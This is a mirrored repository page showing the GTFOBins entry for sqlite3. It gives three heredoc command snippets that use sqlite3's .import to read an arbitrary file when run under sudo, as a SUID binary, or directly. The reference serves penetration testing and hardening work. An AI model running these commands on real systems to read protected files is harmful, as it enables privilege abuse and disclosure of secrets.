1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2025-12-28 03:01:42 +01:00
GTFOBins.github.io/_gtfobins/sqlite3.md
2018-06-04 10:21:53 +00:00

554 B

functions
sudo-enabled suid-enabled file-read
code
LFILE=file_to_read sudo sqlite3 << EOF CREATE TABLE t(line TEXT); .import $LFILE t SELECT * FROM t; EOF
code
LFILE=file_to_read ./sqlite3 << EOF CREATE TABLE t(line TEXT); .import $LFILE t SELECT * FROM t; EOF
code
LFILE=file_to_read sqlite3 << EOF CREATE TABLE t(line TEXT); .import $LFILE t SELECT * FROM t; EOF